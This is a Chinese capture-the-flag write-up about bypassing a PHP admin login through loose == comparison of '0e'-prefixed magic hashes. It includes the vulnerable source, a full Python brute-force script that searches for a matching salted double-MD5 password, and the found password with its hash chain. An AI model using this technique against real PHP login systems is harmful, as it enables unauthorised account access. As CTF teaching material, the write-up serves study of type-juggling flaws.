通过分析源代码并找到绕过限制的方法,从而获取到flag!
部分源码:
<?php
$name=_POST['username'];
$pass=encode(_POST['password']);
$admin_user = "admin";
$admin_pw = get_hash("0e260265122865008095838959784793");
if ($name == $admin_user && $pass == $admin_pw){
  echo $flag;
}
function get_hash($hash) {
  return preg_replace("/[^0-9a-f]/","",$hash);
}
function encode($str) {
  return get_hash(md5(md5($str) . "SALT"));
} 
分析代码:
获取用户输入username,password。
如果用户为admin,
密码经过md5(md5($str) . "SALT")加密后是0e260265122865008095838959784793,则显示flag
(这里0e开头且后面全是数字,且==判断,可以用0e绕过)
所以现在主要是需要找到一个符合要求的password,那就需要爆破了。
编写脚本, 爆破脚本如下:(由于字符集大,爆破时间稍长)
import hashlib  # 导入哈希库(用于计算MD5)
import itertools  # 导入迭代工具(用于生成密码组合)
import string  # 导入字符串工具(用于获取字母数字字符集)
def get_hash(h):
    """清理哈希值,只保留十六进制字符(0-9,a-f)
    对应PHP的:preg_replace("/[^0-9a-f]/","",$hash)"""
    return ''.join(c for c in h if c in '0123456789abcdef')
def encode(pwd):
    """双重MD5加盐哈希函数
    对应PHP的:md5(md5($str) . "SALT")"""
    # 第一层MD5哈希
    first_md5 = hashlib.md5(pwd.encode()).hexdigest()
    # 拼接固定盐值
    with_salt = first_md5 + "SALT"
    # 第二层MD5哈希并清理结果
    return get_hash(hashlib.md5(with_salt.encode()).hexdigest())
def find_magic_hash(max_length=6):
    """查找魔术哈希的主函数
    max_length: 尝试的密码最大长度(默认6位)"""
    # 定义搜索的字符集(所有字母+数字)
    chars = string.ascii_letters + string.digits
    # 目标管理员哈希值(来自被攻击系统)
    admin_hash = "0e260265122865008095838959784793"
    print("正在搜索魔术哈希...")
    # 遍历所有可能的密码长度(从1到max_length)
    for length in range(1, max_length + 1):
        # 生成所有可能的字符组合(笛卡尔积)
        for candidate in itertools.product(chars, repeat=length):
            # 将元组组合转为字符串
            pwd = ''.join(candidate)
            # 计算该密码的哈希值
            hashed = encode(pwd)
            # 检查1:是否完全匹配目标哈希
            if hashed == admin_hash:
                print(f"找到精确匹配!密码: {pwd}")
                return pwd
            # 检查2:是否符合魔术哈希模式(0e开头后面全是数字)
            # PHP弱类型比较中,这类哈希会被视为0
            if hashed.startswith('0e') and hashed[2:].isdigit():
                print(f"找到魔术哈希: {pwd} -> {hashed}")
                # 在PHP的==比较中,这将通过验证
                return pwd
    print("在搜索范围内未找到魔术哈希")
    return None
if __name__ == "__main__":
    # 执行查找
    found = find_magic_hash()
    if found:
        # 输出可用于登录的密码
        print(f"使用此密码登录: '{found}' 配合用户名 'admin'") 
等待一段时间后,输入结果
![]()
v2ZuN
-md5加密->  efaf929f56d048f67d4c5ddaf347d173
-加盐->  efaf929f56d048f67d4c5ddaf347d173SALT
-再md5加密->  0e876767955247762754333885824541 
成功拿到flag。



















